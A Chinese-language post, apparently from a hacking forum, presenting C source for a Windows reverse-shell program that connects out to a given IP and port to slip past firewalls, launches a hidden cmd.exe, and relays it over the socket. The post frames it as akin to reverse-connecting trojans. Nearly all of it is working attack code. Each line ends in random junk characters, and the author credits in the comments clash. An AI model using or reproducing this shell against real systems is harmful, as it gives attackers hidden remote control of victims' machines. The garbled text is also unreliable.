Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 w <]7:/  
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/* ============================== O?@1</r^  
Rebound port in Windows NT (5d~0  
By wind,2006/7 lwLK#_5u  
===============================*/ >p!d(J?  
#include (H9%a-3  
#include ( DwIAO/S  

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#pragma comment(lib,"wsock32.lib") bIizh8d?  
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void OutputShell(); <9bQAyL9  
SOCKET sClient; @.kv",[{[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8aGZ% UI  
MAR kTxzi  
void main(int argc,char **argv) l1c&a[M)  
{ ,$3  
WSADATA stWsaData;
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int nRet; c%)uG _  
SOCKADDR_IN stSaiClient,stSaiServer; '2]u{rr~+  
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if(argc != 3) mU_?}}aK,  
{ M@Q=!!tQ(  
printf("Useage:\n\rRebound DestIP DestPort\n"); UA,&0.7  
return; MCQ>BP  
} @Risabn  
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WSAStartup(MAKEWORD(2,2),&stWsaData);  wB5zp  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MV$>|^'em  
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stSaiClient.sin_family = AF_INET; UVu"meZX  
stSaiClient.sin_port = htons(0); |dD!@K  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  -/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Xkl^!,  
{ 4PiNQ'*  
printf("Bind Socket Failed!\n"); XoSjYG(>,  
return; fokT)nf~^8  
} B\|>i~u(  
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stSaiServer.sin_family = AF_INET; U`6QD}c"s  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ENC_#-1x  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F.A<e #e?
 
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'n:Ft  
{ *"fg@B5  
printf("Connect Error!"); Z55,S=i  
return; <
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} 1>%SSQ  
OutputShell(); 0y;&L63>T  
} 10#!{].#x  
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void OutputShell() phXVuQ  
{ Qb|w\xT^Y  
char szBuff[1024]; k|A!5A2  
SECURITY_ATTRIBUTES stSecurityAttributes; sxThz7#i)  
OSVERSIONINFO stOsversionInfo; X8Sk  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IJ4"X#Q/  
STARTUPINFO stStartupInfo; x(]s#D!)  
char *szShell; ]nX.zE|F  
PROCESS_INFORMATION stProcessInformation; FG#j0#|*  
unsigned long lBytesRead; izFu&syv)  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); S_bay8L1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^OBaVb  
stSecurityAttributes.lpSecurityDescriptor = 0; # Jdip)  
stSecurityAttributes.bInheritHandle = TRUE; |Y'$+[TE  
k5/nAaiVE  
k2t?e:)3zr  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K&)a3Z=(.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "L8V!M_e  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mlVv3mVyR<  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WHNb.>  
stStartupInfo.wShowWindow = SW_HIDE; vj^UF(X  
stStartupInfo.hStdInput = hReadPipe; Nb];LCx  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %x927I>  
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GetVersionEx(&stOsversionInfo); &)X<yd0  
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Ql}  
switch(stOsversionInfo.dwPlatformId) JxLH]1b  
{ 6VE >$`m  
case 1: f%|S>(   
szShell = "command.com"; :jUuw:\  
break; H]-W$V   
default: v PGuEfz  
szShell = "cmd.exe"; X~DXx/9  
break; 4O`h%`M  
} X*JD  
u}:O[DG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8@A[`5  
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send(sClient,szMsg,77,0); PaDT)RrEM  
while(1) sN g"JQ  
{ +[qkG. O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E, v1F!  
if(lBytesRead) Za f)  
{ As\5Ze9|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rx;U/)~#<  
send(sClient,szBuff,lBytesRead,0); r{TNPa6!  
} 1(?J>{-lw  
else ?oJ~3Kg  
{ 
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lBytesRead=recv(sClient,szBuff,1024,0); QVH_B+ Q  
if(lBytesRead<=0) break; =B:poh[u  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &7W6IM  
} >ahj|pm  
} sXa8(xc  
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return; L[bGO|O  
}